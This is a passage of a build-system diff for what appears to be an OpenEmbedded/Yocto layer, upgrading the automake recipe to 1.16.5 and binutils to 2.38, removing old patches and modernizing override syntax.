++ *) am_cv_python_pythondir=$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages
+ ;;
+ esac
+ ;;
+@@ -293,14 +288,7 @@ sys.stdout.write(sitedir)"`
+ else
+ am_py_exec_prefix=$am_cv_python_exec_prefix
+ fi
+- am_cv_python_pyexecdir=`$PYTHON -c "
+-$am_python_setup_sysconfig
+-if can_use_sysconfig:
+- sitedir = sysconfig.get_path('platlib', vars={'platbase':'$am_py_exec_prefix'})
+-else:
+- from distutils import sysconfig
+- sitedir = sysconfig.get_python_lib(1, 0, prefix='$am_py_exec_prefix')
+-sys.stdout.write(sitedir)"`
++ am_cv_python_pyexecdir=`echo "$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages"`
+ #
+ case $am_cv_python_pyexecdir in
+ $am_py_exec_prefix*)
+@@ -310,7 +298,7 @@ sys.stdout.write(sitedir)"`
+ *)
+ case $am_py_exec_prefix in
+ /usr|/System*) ;;
+- *) am_cv_python_pyexecdir="\${PYTHON_EXEC_PREFIX}/lib/python$PYTHON_VERSION/site-packages"
++ *) am_cv_python_pyexecdir=$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages
+ ;;
+ esac
+ ;;
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/automake/automake/automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch b/meta/recipes-devtools/automake/automake/automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch
deleted file mode 100644
index 1592c02cb9..0000000000
--- a/meta/recipes-devtools/automake/automake/automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From 081385f4d4bba367afad3bff1fa034f5263305e6 Mon Sep 17 00:00:00 2001
-From: Serhii Popovych <spopovyc@cisco.com>
-Date: Wed, 10 Feb 2016 17:07:32 +0000
-Subject: [PATCH] perl: Replace -w option in shebangs with modern "use
- warnings" In some builds we might provide ac_cv_path_PERL as /usr/bin/env
- perl to use newer version of the perl from users PATH rather than older from
- standard system path.
-
-However using /usr/bin/env perl -w from shebang line isn't
-possible because it translates to something like
-/usr/bin/env -w perl and env complains about illegal option.
-
-To address this we can remove -w option from perl shebang
-line and add "use warnings" statement.
-
-Upstream-Status: Pending
-Signed-off-by: Serhii Popovych <spopovyc@cisco.com>
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- bin/aclocal.in | 3 ++-
- bin/automake.in | 3 ++-
- 2 files changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/bin/aclocal.in b/bin/aclocal.in
-index b3715d9..461d453 100644
---- a/bin/aclocal.in
-+++ b/bin/aclocal.in
-@@ -1,4 +1,4 @@
--#!@PERL@ -w
-+#!@PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -32,6 +32,7 @@ BEGIN
- }
-
- use strict;
-+use warnings;
-
- use Automake::Config;
- use Automake::General;
-diff --git a/bin/automake.in b/bin/automake.in
-index 8377d20..3a66965 100644
---- a/bin/automake.in
-+++ b/bin/automake.in
-@@ -1,4 +1,4 @@
--#!@PERL@ -w
-+#!@PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -28,6 +28,7 @@ eval 'case $# in 0) exec @PERL@ -S "$0";; *) exec @PERL@ -S "$0" "$@";; esac'
- package Automake;
-
- use strict;
-+use warnings;
-
- BEGIN
- {
diff --git a/meta/recipes-devtools/automake/automake/python-libdir.patch b/meta/recipes-devtools/automake/automake/python-libdir.patch
deleted file mode 100644
index ee1f725f76..0000000000
--- a/meta/recipes-devtools/automake/automake/python-libdir.patch
+++ /dev/null
@@ -1,88 +0,0 @@
-From a80dacd5124d0713cf2c986b28d736e78dc6b0ca Mon Sep 17 00:00:00 2001
-From: Kumar Gala <galak@kernel.crashing.org>
-Date: Thu, 11 Aug 2011 01:26:33 -0500
-Subject: [PATCH] automake: Update for python.m4 to respect libdir
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
-
-Updated for automake-1.12.6
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- m4/python.m4 | 27 +++++++--------------------
- 1 file changed, 7 insertions(+), 20 deletions(-)
-
-diff --git a/m4/python.m4 b/m4/python.m4
-index 63c0a0e..7bbd2d2 100644
---- a/m4/python.m4
-+++ b/m4/python.m4
-@@ -94,12 +94,13 @@ AC_DEFUN([AM_PATH_PYTHON],
- [am_cv_python_version=`$PYTHON -c "import sys; sys.stdout.write(sys.version[[:3]])"`])
- AC_SUBST([PYTHON_VERSION], [$am_cv_python_version])
-
-- dnl Use the values of $prefix and $exec_prefix for the corresponding
-- dnl values of PYTHON_PREFIX and PYTHON_EXEC_PREFIX. These are made
-+ dnl Use the values of $prefix, $libdir and $exec_prefix for the corresponding
-+ dnl values of PYTHON_PREFIX PYTHON_LIB_PREFIX, and PYTHON_EXEC_PREFIX. These are made
- dnl distinct variables so they can be overridden if need be. However,
- dnl general consensus is that you shouldn't need this ability.
-
- AC_SUBST([PYTHON_PREFIX], ['${prefix}'])
-+ AC_SUBST([PYTHON_LIB_PREFIX], ['${libdir}'])
- AC_SUBST([PYTHON_EXEC_PREFIX], ['${exec_prefix}'])
-
- dnl At times (like when building shared libraries) you may want
-@@ -144,14 +145,7 @@ except ImportError:
- else
- am_py_prefix=$prefix
- fi
-- am_cv_python_pythondir=`$PYTHON -c "
--$am_python_setup_sysconfig
--if can_use_sysconfig:
-- sitedir = sysconfig.get_path('purelib', vars={'base':'$am_py_prefix'})
--else:
-- from distutils import sysconfig
-- sitedir = sysconfig.get_python_lib(0, 0, prefix='$am_py_prefix')
--sys.stdout.write(sitedir)"`
-+ am_cv_python_pythondir=`echo "$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages"`
- case $am_cv_python_pythondir in
- $am_py_prefix*)
- am__strip_prefix=`echo "$am_py_prefix" | sed 's|.|.|g'`
-@@ -161,7 +155,7 @@ sys.stdout.write(sitedir)"`
- case $am_py_prefix in
- /usr|/System*) ;;
- *)
-- am_cv_python_pythondir=$PYTHON_PREFIX/lib/python$PYTHON_VERSION/site-packages
-+ am_cv_python_pythondir=$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages
- ;;
- esac
- ;;
-@@ -186,14 +180,7 @@ sys.stdout.write(sitedir)"`
- else
- am_py_exec_prefix=$exec_prefix
- fi
-- am_cv_python_pyexecdir=`$PYTHON -c "
--$am_python_setup_sysconfig
--if can_use_sysconfig:
-- sitedir = sysconfig.get_path('platlib', vars={'platbase':'$am_py_prefix'})
--else:
-- from distutils import sysconfig
-- sitedir = sysconfig.get_python_lib(1, 0, prefix='$am_py_prefix')
--sys.stdout.write(sitedir)"`
-+ am_cv_python_pyexecdir=`echo "$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages"`
- case $am_cv_python_pyexecdir in
- $am_py_exec_prefix*)
- am__strip_prefix=`echo "$am_py_exec_prefix" | sed 's|.|.|g'`
-@@ -203,7 +190,7 @@ sys.stdout.write(sitedir)"`
- case $am_py_exec_prefix in
- /usr|/System*) ;;
- *)
-- am_cv_python_pyexecdir=$PYTHON_EXEC_PREFIX/lib/python$PYTHON_VERSION/site-packages
-+ am_cv_python_pyexecdir=$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages
- ;;
- esac
- ;;
diff --git a/meta/recipes-devtools/automake/automake_1.16.1.bb b/meta/recipes-devtools/automake/automake_1.16.1.bb
deleted file mode 100644
index d82eed3c60..0000000000
--- a/meta/recipes-devtools/automake/automake_1.16.1.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-require automake.inc
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-DEPENDS_class-native = "autoconf-native"
-
-NAMEVER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-RDEPENDS_${PN} += "\
- autoconf \
- perl \
- perl-module-bytes \
- perl-module-data-dumper \
- perl-module-strict \
- perl-module-text-parsewords \
- perl-module-thread-queue \
- perl-module-threads \
- perl-module-vars "
-
-RDEPENDS_${PN}_class-native = "autoconf-native hostperl-runtime-native"
-RDEPENDS_${PN}_class-nativesdk = "nativesdk-autoconf"
-
-SRC_URI += "file://python-libdir.patch \
- file://buildtest.patch \
- file://performance.patch \
- file://new_rt_path_for_test-driver.patch \
- file://automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch \
- file://0001-automake-Add-default-libtool_tag-to-cppasm.patch \
- file://0001-build-fix-race-in-parallel-builds.patch \
- "
-
-SRC_URI[md5sum] = "83cc2463a4080efd46a72ba2c9f6b8f5"
-SRC_URI[sha256sum] = "608a97523f97db32f1f5d5615c98ca69326ced2054c9f82e65bade7fc4c9dea8"
-
-PERL = "${USRBINPATH}/perl"
-PERL_class-native = "${USRBINPATH}/env perl"
-PERL_class-nativesdk = "${USRBINPATH}/env perl"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='${PERL}'"
-
-do_install_append () {
- install -d ${D}${datadir}
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/automake/automake_1.16.5.bb b/meta/recipes-devtools/automake/automake_1.16.5.bb
new file mode 100644
index 0000000000..ba5ce7b9bb
--- /dev/null
+++ b/meta/recipes-devtools/automake/automake_1.16.5.bb
@@ -0,0 +1,42 @@
+require automake.inc
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+DEPENDS:class-native = "autoconf-native"
+
+NAMEVER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+RDEPENDS:${PN} += "\
+ autoconf \
+ perl \
+ perl-module-bytes \
+ perl-module-data-dumper \
+ perl-module-strict \
+ perl-module-text-parsewords \
+ perl-module-thread-queue \
+ perl-module-threads \
+ perl-module-vars "
+
+RDEPENDS:${PN}:class-native = "autoconf-native hostperl-runtime-native"
+
+SRC_URI += "\
+ file://0001-automake-Update-for-python.m4-to-respect-libdir.patch \
+ file://buildtest.patch \
+ file://performance.patch \
+ file://new_rt_path_for_test-driver.patch \
+ file://0001-automake-Add-default-libtool_tag-to-cppasm.patch \
+ file://0001-build-fix-race-in-parallel-builds.patch \
+ "
+
+SRC_URI[sha256sum] = "07bd24ad08a64bc17250ce09ec56e921d6343903943e99ccf63bbf0705e34605"
+
+PERL = "${USRBINPATH}/perl"
+PERL:class-native = "${USRBINPATH}/env perl"
+PERL:class-nativesdk = "${USRBINPATH}/env perl"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='${PERL}'"
+
+do_install:append () {
+ install -d ${D}${datadir}
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/binutils/binutils-2.32.inc b/meta/recipes-devtools/binutils/binutils-2.32.inc
deleted file mode 100644
index 349c3e1154..0000000000
--- a/meta/recipes-devtools/binutils/binutils-2.32.inc
+++ /dev/null
@@ -1,59 +0,0 @@
-LIC_FILES_CHKSUM="\
- file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552\
- file://COPYING.LIB;md5=9f604d8a4f8e74f4f5140845a21b6674\
- file://COPYING3;md5=d32239bcb673463ab874e80d47fae504\
- file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6\
- file://gas/COPYING;md5=d32239bcb673463ab874e80d47fae504\
- file://include/COPYING;md5=59530bdf33659b29e73d4adb9f9f6552\
- file://include/COPYING3;md5=d32239bcb673463ab874e80d47fae504\
- file://libiberty/COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7\
- file://bfd/COPYING;md5=d32239bcb673463ab874e80d47fae504\
- "
-
-def binutils_branch_version(d):
- pvsplit = d.getVar('PV').split('.')
- return pvsplit[0] + "_" + pvsplit[1]
-
-# When upgrading to 2.33, please make sure there is no trailing .0, so
-# that upstream version check can work correctly.
-PV = "2.32.0"
-CVE_VERSION = "2.32"
-BINUPV = "${@binutils_branch_version(d)}"
-#BRANCH = "binutils-${BINUPV}-branch"
-BRANCH ?= "binutils-2_32-branch"
-
-UPSTREAM_CHECK_GITTAGREGEX = "binutils-(?P<pver>\d+_(\d_?)*)"
-
-SRCREV ?= "b8c1f608db9ef3edd483d21a921d1fbedc71df6f"
-BINUTILS_GIT_URI ?= "git://sourceware.org/git/binutils-gdb.git;branch=${BRANCH};protocol=git"
-SRC_URI = "\
- ${BINUTILS_GIT_URI} \
- file://0003-configure-widen-the-regexp-for-SH-architectures.patch \
- file://0004-Point-scripts-location-to-libdir.patch \
- file://0005-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch \
- file://0006-Use-libtool-2.4.patch \
- file://0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch \
- file://0008-warn-for-uses-of-system-directories-when-cross-linki.patch \
- file://0009-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch \
- file://0010-Change-default-emulation-for-mips64-linux.patch \
- file://0011-Add-support-for-Netlogic-XLP.patch \
- file://0012-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch \
- file://0013-Detect-64-bit-MIPS-targets.patch \
- file://0014-sync-with-OE-libtool-changes.patch \
- file://0015-binutils-enable-x86_64-pep-for-producing-EFI-binarie.patch \
- file://CVE-2019-9074.patch \
- file://CVE-2019-9075.patch \
- file://CVE-2019-9076.patch \
- file://CVE-2019-9077.patch \
- file://CVE-2019-9071.patch \
- file://CVE-2019-12972.patch \
- file://CVE-2019-14250.patch \
- file://CVE-2019-14444.patch \
- file://CVE-2019-17450.patch \
- file://CVE-2019-17451.patch \
-"
-S = "${WORKDIR}/git"
-
-do_configure_prepend () {
- rm -rf ${S}/gdb ${S}/libdecnumber ${S}/readline ${S}/sim
-}
diff --git a/meta/recipes-devtools/binutils/binutils-2.38.inc b/meta/recipes-devtools/binutils/binutils-2.38.inc
new file mode 100644
index 0000000000..3544c0c7e7
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils-2.38.inc
@@ -0,0 +1,36 @@
+LIC_FILES_CHKSUM="\
+ file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552\
+ file://COPYING.LIB;md5=9f604d8a4f8e74f4f5140845a21b6674\
+ file://COPYING3;md5=d32239bcb673463ab874e80d47fae504\
+ file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6\
+ file://gas/COPYING;md5=d32239bcb673463ab874e80d47fae504\
+ file://include/COPYING;md5=59530bdf33659b29e73d4adb9f9f6552\
+ file://include/COPYING3;md5=d32239bcb673463ab874e80d47fae504\
+ file://libiberty/COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7\
+ file://bfd/COPYING;md5=d32239bcb673463ab874e80d47fae504\
+ "
+
+# When upgrading to 2.39, please make sure there is no trailing .0, so
+# that upstream version check can work correctly.
+PV = "2.38"
+CVE_VERSION = "2.38"
+SRCBRANCH ?= "binutils-2_38-branch"
+
+UPSTREAM_CHECK_GITTAGREGEX = "binutils-(?P<pver>\d+_(\d_?)*)"
+
+SRCREV ?= "6938a3aca19044aeb9bc4b9564e04f9092a701ed"
+BINUTILS_GIT_URI ?= "git://sourceware.org/git/binutils-gdb.git;branch=${SRCBRANCH};protocol=git"
+SRC_URI = "\
+ ${BINUTILS_GIT_URI} \
+ file://0004-Point-scripts-location-to-libdir.patch \
+ file://0005-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch \
+ file://0006-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch \
+ file://0007-warn-for-uses-of-system-directories-when-cross-linki.patch \
+ file://0008-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch \
+ file://0009-Use-libtool-2.4.patch \
+ file://0010-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch \
+ file://0011-sync-with-OE-libtool-changes.patch \
+ file://0012-Check-for-clang-before-checking-gcc-version.patch \
+ file://0013-Avoid-as-info-race-condition.patch \
+"
+S = "${WORKDIR}/git"
diff --git a/meta/recipes-devtools/binutils/binutils-cross-canadian.inc b/meta/recipes-devtools/binutils/binutils-cross-canadian.inc
index e98f31f9c3..b3d591e658 100644
--- a/meta/recipes-devtools/binutils/binutils-cross-canadian.inc
+++ b/meta/recipes-devtools/binutils/binutils-cross-canadian.inc
@@ -13,8 +13,6 @@ EXTRA_OECONF += "--with-sysroot=${SDKPATH}/sysroots/${TUNE_PKGARCH}${TARGET_VEND
# e.g. we switch between different machines with different tunes.
EXTRA_OECONF[vardepsexclude] = "TUNE_PKGARCH"
-LDGOLD_sdkmingw32 = ""
-
do_install () {
autotools_do_install
diff --git a/meta/recipes-devtools/binutils/binutils-cross-canadian_2.32.bb b/meta/recipes-devtools/binutils/binutils-cross-canadian_2.38.bb
index 5dbaa03017..5dbaa03017 100644
--- a/meta/recipes-devtools/binutils/binutils-cross-canadian_2.32.bb
+++ b/meta/recipes-devtools/binutils/binutils-cross-canadian_2.38.bb
diff --git a/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.32.bb b/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.32.bb
deleted file mode 100644
index 07a8e7c417..0000000000
--- a/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.32.bb
+++ /dev/null
@@ -1,85 +0,0 @@
-require binutils.inc
-require binutils-${PV}.inc
-
-BPN = "binutils"
-
-DEPENDS += "dejagnu-native expect-native"
-DEPENDS += "binutils-native"
-
-deltask do_compile
-deltask do_install
-
-inherit nopackages
-
-do_configure[dirs] += "${B}/ld ${B}/bfd"
-do_configure() {
- # create config.h, oe enables initfini-array by default
- echo "#define HAVE_INITFINI_ARRAY" > ${B}/ld/config.h
- # use the bfd_stdint.h from binutils-native, this is the same of the one
- # generated by binutils-cross
- cp ${RECIPE_SYSROOT_NATIVE}/usr/include/bfd_stdint.h ${B}/bfd/
-}
-
-# target depends
-DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}binutils"
-DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}gcc"
-DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs"
-DEPENDS += "virtual/${MLPREFIX}libc"
-
-python check_prepare() {
- def suffix_sys(sys):
- if sys.endswith("-linux"):
- return sys + "-gnu"
- return sys
-
- def generate_site_exp(d, suite):
- content = []
- content.append('set srcdir "{0}/{1}"'.format(d.getVar("S"), suite))
- content.append('set objdir "{0}/{1}"'.format(d.getVar("B"), suite))
- content.append('set build_alias "{0}"'.format(d.getVar("BUILD_SYS")))
- content.append('set build_triplet {0}'.format(d.getVar("BUILD_SYS")))
- # use BUILD here since HOST=TARGET
- content.append('set host_alias "{0}"'.format(d.getVar("BUILD_SYS")))
- content.append('set host_triplet {0}'.format(d.getVar("BUILD_SYS")))
- content.append('set target_alias "{0}"'.format(d.getVar("TARGET_SYS")))
- content.append('set target_triplet {0}'.format(suffix_sys(d.getVar("TARGET_SYS"))))
- content.append("set development true")
- content.append("set experimental false")
-
- content.append(d.expand('set CXXFILT "${TARGET_PREFIX}c++filt"'))
- content.append(d.expand('set CC "${TARGET_PREFIX}gcc --sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
- content.append(d.expand('set CXX "${TARGET_PREFIX}g++ --sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
- content.append(d.expand('set CFLAGS_FOR_TARGET "--sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
-
- if suite == "ld" and d.getVar("TUNE_ARCH") == "mips64":
- # oe patches binutils to have the default mips64 abi as 64bit, but
- # skips gas causing issues with the ld test suite (which uses gas)
- content.append('set ASFLAGS "-64"')
-
- return "\n".join(content)
-
- for i in ["binutils", "gas", "ld"]:
- builddir = os.path.join(d.getVar("B"), i)
- if not os.path.isdir(builddir):
- os.makedirs(builddir)
- with open(os.path.join(builddir, "site.exp"), "w") as f:
- f.write(generate_site_exp(d, i))
-}
-
-CHECK_TARGETS ??= "binutils gas ld"
-
-do_check[dirs] = "${B} ${B}/binutils ${B}/gas ${B}/ld"
-do_check[prefuncs] += "check_prepare"
-do_check[nostamp] = "1"
-do_check() {
- export LC_ALL=C
- for i in ${CHECK_TARGETS}; do
- (cd ${B}/$i; runtest \
- --tool $i \
- --srcdir ${S}/$i/testsuite \
- --ignore 'plugin.exp' \
- || true)
- done
-}
-addtask check after do_configure
-
diff --git a/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.38.bb b/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.38.bb
new file mode 100644
index 0000000000..ca99e91130
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.38.bb
@@ -0,0 +1,81 @@
+require binutils.inc
+require binutils-${PV}.inc
+
+BPN = "binutils"
+
+DEPENDS += "dejagnu-native expect-native"
+DEPENDS += "binutils-native"
+
+deltask do_compile
+deltask do_install
+
+inherit nopackages
+
+do_configure[dirs] += "${B}/ld ${B}/bfd"
+do_configure() {
+ # create config.h, oe enables initfini-array by default
+ echo "#define HAVE_INITFINI_ARRAY" > ${B}/ld/config.h
+}
+
+# target depends
+DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}binutils"
+DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}gcc"
+DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs"
+DEPENDS += "virtual/${MLPREFIX}libc"
+
+python check_prepare() {
+ def suffix_sys(sys):
+ if sys.endswith("-linux"):
+ return sys + "-gnu"
+ return sys
+
+ def generate_site_exp(d, suite):
+ content = []
+ content.append('set srcdir "{0}/{1}"'.format(d.getVar("S"), suite))
+ content.append('set objdir "{0}/{1}"'.format(d.getVar("B"), suite))
+ content.append('set build_alias "{0}"'.format(d.getVar("BUILD_SYS")))
+ content.append('set build_triplet {0}'.format(d.getVar("BUILD_SYS")))
+ # use BUILD here since HOST=TARGET
+ content.append('set host_alias "{0}"'.format(d.getVar("BUILD_SYS")))
+ content.append('set host_triplet {0}'.format(d.getVar("BUILD_SYS")))
+ content.append('set target_alias "{0}"'.format(d.getVar("TARGET_SYS")))
+ content.append('set target_triplet {0}'.format(suffix_sys(d.getVar("TARGET_SYS"))))
+ content.append("set development true")
+ content.append("set experimental false")
+
+ content.append(d.expand('set CXXFILT "${TARGET_PREFIX}c++filt"'))
+ content.append(d.expand('set CC "${TARGET_PREFIX}gcc --sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
+ content.append(d.expand('set CXX "${TARGET_PREFIX}g++ --sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
+ content.append(d.expand('set CFLAGS_FOR_TARGET "--sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
+
+ if suite == "ld" and d.getVar("TUNE_ARCH") == "mips64":
+ # oe patches binutils to have the default mips64 abi as 64bit, but
+ # skips gas causing issues with the ld test suite (which uses gas)
+ content.append('set ASFLAGS "-64"')
+
+ return "\n".join(content)
+
+ for i in ["binutils", "gas", "ld"]:
+ builddir = os.path.join(d.getVar("B"), i)
+ if not os.path.isdir(builddir):
+ os.makedirs(builddir)
+ with open(os.path.join(builddir, "site.exp"), "w") as f:
+ f.write(generate_site_exp(d, i))
+}
+
+CHECK_TARGETS ??= "binutils gas ld"
+
+do_check[dirs] = "${B} ${B}/binutils ${B}/gas ${B}/ld"
+do_check[prefuncs] += "check_prepare"
+do_check[nostamp] = "1"
+do_check() {
+ export LC_ALL=C
+ for i in ${CHECK_TARGETS}; do
+ (cd ${B}/$i; runtest \
+ --tool $i \
+ --srcdir ${S}/$i/testsuite \
+ --ignore 'plugin.exp' \
+ || true)
+ done
+}
+addtask check after do_configure
diff --git a/meta/recipes-devtools/binutils/binutils-cross_2.32.bb b/meta/recipes-devtools/binutils/binutils-cross_2.38.bb
index fbd1f7d25a..fbd1f7d25a 100644
--- a/meta/recipes-devtools/binutils/binutils-cross_2.32.bb
+++ b/meta/recipes-devtools/binutils/binutils-cross_2.38.bb
diff --git a/meta/recipes-devtools/binutils/binutils-crosssdk_2.32.bb b/meta/recipes-devtools/binutils/binutils-crosssdk_2.32.bb
deleted file mode 100644
index 37f4d6d2e9..0000000000
--- a/meta/recipes-devtools/binutils/binutils-crosssdk_2.32.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require binutils-cross_${PV}.bb
-
-inherit crosssdk
-
-PN = "binutils-crosssdk-${SDK_SYS}"
-
-PROVIDES = "virtual/${TARGET_PREFIX}binutils-crosssdk"
-
-SRC_URI += "file://0001-binutils-crosssdk-Generate-relocatable-SDKs.patch"
-
-do_configure_prepend () {
- sed -i 's#/usr/local/lib /lib /usr/lib#${SDKPATHNATIVE}/lib ${SDKPATHNATIVE}/usr/lib /usr/local/lib /lib /usr/lib#' ${S}/ld/configure.tgt
-}
diff --git a/meta/recipes-devtools/binutils/binutils-crosssdk_2.38.bb b/meta/recipes-devtools/binutils/binutils-crosssdk_2.38.bb
new file mode 100644
index 0000000000..5bd036fd46
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils-crosssdk_2.38.bb
@@ -0,0 +1,13 @@
+require binutils-cross_${PV}.bb
+
+inherit crosssdk
+
+PN = "binutils-crosssdk-${SDK_SYS}"
+
+PROVIDES = "virtual/${TARGET_PREFIX}binutils-crosssdk"
+
+SRC_URI += "file://0001-binutils-crosssdk-Generate-relocatable-SDKs.patch"
+
+do_configure:prepend () {
+ sed -i 's#/usr/local/lib /lib /usr/lib#${SDKPATHNATIVE}/lib ${SDKPATHNATIVE}/usr/lib /usr/local/lib /lib /usr/lib#' ${S}/ld/configure.tgt
+}
diff --git a/meta/recipes-devtools/binutils/binutils.inc b/meta/recipes-devtools/binutils/binutils.inc
index 0fb6cae407..789c8bec21 100644
--- a/meta/recipes-devtools/binutils/binutils.inc
+++ b/meta/recipes-devtools/binutils/binutils.inc
@@ -9,37 +9,37 @@ object information), and other tools and related libraries."
HOMEPAGE = "http://www.gnu.org/software/binutils/"
BUGTRACKER = "http://sourceware.org/bugzilla/"
SECTION = "devel"
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
DEPENDS = "flex-native bison-native zlib-native gnu-config-native autoconf-native"
-#
-# we need chrpath > 0.14 and some distros like centos 7 still have older chrpath
-#
-DEPENDS_append_class-target = " chrpath-replacement-native"
-EXTRANATIVEPATH_append_class-target = " chrpath-native"
-
-inherit autotools gettext multilib_header texinfo
+inherit autotools gettext multilib_header pkgconfig texinfo
-FILES_${PN} = " \
+FILES:${PN} = " \
${bindir}/${TARGET_PREFIX}* \
- ${libdir}/lib*-*.so \
+ ${libdir}/lib*.so.* \
+ ${libdir}/bfd-plugins/lib*.so \
+ ${libdir}/lib*-${PV}*.so \
${prefix}/${TARGET_SYS}/bin/* \
${bindir}/embedspu"
-RPROVIDES_${PN} += "${PN}-symlinks"
+RPROVIDES:${PN} += "${PN}-symlinks"
-FILES_${PN}-dev = " \
+FILES:${PN}-dev = " \
${includedir} \
${libdir}/*.la \
${libdir}/libbfd.so \
+ ${libdir}/libctf.so \
+ ${libdir}/libctf-nobfd.so \
${libdir}/libopcodes.so"
# Rather than duplicating multiple entries for these, make one
# list and reuse it.
LDGOLD_ALTS ?= "ld.gold dwp"
-LDGOLD_ALTS_riscv64 = ""
+LDGOLD_ALTS:riscv64 = ""
+LDGOLD_ALTS:riscv32 = ""
+LDGOLD_ALTS:libc-glibc:mipsarch = ""
USE_ALTERNATIVES_FOR = " \
addr2line \
@@ -61,7 +61,7 @@ USE_ALTERNATIVES_FOR = " \
strip \
"
-python do_package_prepend() {
+python do_package:prepend() {
make_alts = d.getVar("USE_ALTERNATIVES_FOR") or ""
prefix = d.getVar("TARGET_PREFIX")
bindir = d.getVar("bindir")
@@ -76,13 +76,25 @@ EXTRA_OECONF = "--program-prefix=${TARGET_PREFIX} \
--disable-werror \
--enable-deterministic-archives \
--enable-plugins \
+ --disable-gdb \
+ --disable-gdbserver \
+ --disable-libdecnumber \
+ --disable-readline \
+ --disable-sim \
${LDGOLD} \
+ ${EXTRA_TARGETS} \
${@bb.utils.contains('DISTRO_FEATURES', 'multiarch', '--enable-64-bit-bfd', '', d)}"
-LDGOLD_class-native = ""
-LDGOLD_class-crosssdk = ""
+EXTRA_TARGETS = ""
+EXTRA_TARGETS:x86-64 = " --enable-targets=x86_64-pe,x86_64-pep "
+EXTRA_TARGETS:class-native = ""
+
+LDGOLD:class-native = ""
+LDGOLD:class-crosssdk = ""
+LDGOLD:libc-glibc:mipsarch = ""
LDGOLD ?= "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', '--enable-gold=default --enable-threads', '--enable-gold --enable-ld=default --enable-threads', d)}"
+
# This is necessary due to a bug in the binutils Makefiles
# EXTRA_OEMAKE = "configure-build-libiberty all"
@@ -110,7 +122,8 @@ export CC_FOR_BUILD = "LD_LIBRARY_PATH= ${BUILD_CC}"
MULTIARCH := "${@bb.utils.contains("DISTRO_FEATURES", "multiarch", "yes", "no", d)}"
do_configure[vardeps] += "MULTIARCH"
do_configure () {
- (cd ${S}; gnu-configize) || die "Failed to run gnu-configize"
+ (cd ${S} && gnu-configize)
+
oe_runconf
#
# must prime config.cache to ensure the build of libiberty
@@ -121,10 +134,6 @@ do_configure () {
done
}
-do_compile_append_class-target() {
- chrpath -d ${B}/binutils/elfedit
- chrpath -d ${B}/binutils/readelf
-}
do_install () {
autotools_do_install
@@ -144,6 +153,11 @@ do_install () {
install -m 644 ${S}/include/ansidecl.h ${D}${includedir}
install -m 644 ${S}/include/libiberty.h ${D}${includedir}
+ # insall pic version of libiberty if available
+ if [ -e ${B}/libiberty/pic/libiberty.a ]; then
